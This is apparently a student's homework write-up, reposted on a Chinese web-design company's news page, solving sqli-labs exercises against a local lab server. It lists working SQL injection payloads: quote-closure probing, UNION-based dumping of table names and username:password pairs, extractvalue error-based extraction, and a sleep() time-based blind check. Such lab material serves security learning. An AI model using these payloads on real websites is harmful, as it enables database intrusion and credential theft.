尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

sqli作业

sqli作业
📅 发布时间:2026/7/24 6:43:04

sqli作业


Less-1:单引号闭合

闭合方式:'

加个单引号看报错:

http://192.168.40.129/sqli/Less-1/?id=1'

报错里'1'' LIMIT 0,1说明源码是WHERE id='$id',用'闭合就行。

ORDER BY 试列数:

?id=1' order by 4--+ # 报 Unknown column '4',列数=3

UNION 找回显位:

?id=-1' union select 1,2,3--+

2 和 3 回显在 name 和 Password。

然后直接梭哈:

爆库:?id=-1' union select 1,database(),3--+ 爆表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+


Less-2:整型

闭合方式:无(整型不需要闭合)

id=2-1返回第一个用户数据,说明是数字型:

爆库:?id=-1 union select 1,database(),3--+ 爆表:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+


Less-3:单引号+括号

闭合方式:')

?id=1'

源码是WHERE id=('$id')。

爆库:?id=-1') union select 1,database(),3--+ 爆表:?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4:双引号+括号

闭合方式:")

?id=1"

源码是WHERE id=("$id")。

爆库:?id=-1") union select 1,database(),3--+ 爆表:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5:报错注入(extractvalue)

闭合方式:'

页面只显示You are in...,不显示数据,但会报 MySQL 错误。用 union 查出来也看不到,改用报错注入。

?id=1' → 正常 ?id=1'--+ → 正常(闭合确认)

extractvalue 一把梭:

爆库:?id=1' and extractvalue(1,concat(0x7e,database()))--+
爆表:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+ 爆列:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))--+

extractvalue 一次最多回显 32 字符,数据多的话用 substring 分段:

第1段:?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30)))--+ 第2段:?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),30,30)))--+ ...以此类推


Less-9:时间盲注

闭合方式:'

这个更狠,连报错都没有,永远只显示You are in...

只能靠 sleep 判断:

?id=1' and sleep(3)--+ → 页面卡3秒 → 有注入,闭合为 '

确定闭合后上脚本爆破。

相关新闻

  • 2026年7月宁波江诗丹顿回收哪家好?客服实测排行,避坑指南+平台对比! - 嘉价奢侈品回收平台
  • 深入解析TPS65810/11 PMIC:电源管理芯片架构、设计与调试实战
  • 86.2TB高清卫星影像更新北美洲区域(WGS84坐标投影)

最新新闻

  • 扩散模型与强化学习结合的稳定性优化方法
  • 积家中国售后服务中心|地址及服务热线权威信息通告(2026年7月最新) - 积家官方售后服务中心
  • OfficeCLI:基于命令行的AI文档生成工具使用指南
  • AI学习平台测评:8大实战型平台深度横评与选型指南
  • 大模型开发实战:5个精选练手项目指南
  • 新型智慧用电项目合作方选型指南

日新闻

  • 武汉卡地亚LOVE钻戒与钻石项链回收变现攻略|多家门店行情参考 - 大牌深度测评
  • 2026年无锡地区健康管理如何考量?四家机构业务体系概览
  • 2026图片去水印软件哪个好用 手机电脑免费工具盘点 - 免费软件工具方法教程

周新闻

  • SaaS软件行业GEO实践:AI搜索时代的品牌可见性与获客新路径
  • 什么是PCTFE?医药高端包装的“防潮王牌“材料
  • 【JVM调优实战】16-可视化利器-JConsole-VisualVM-JMC

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号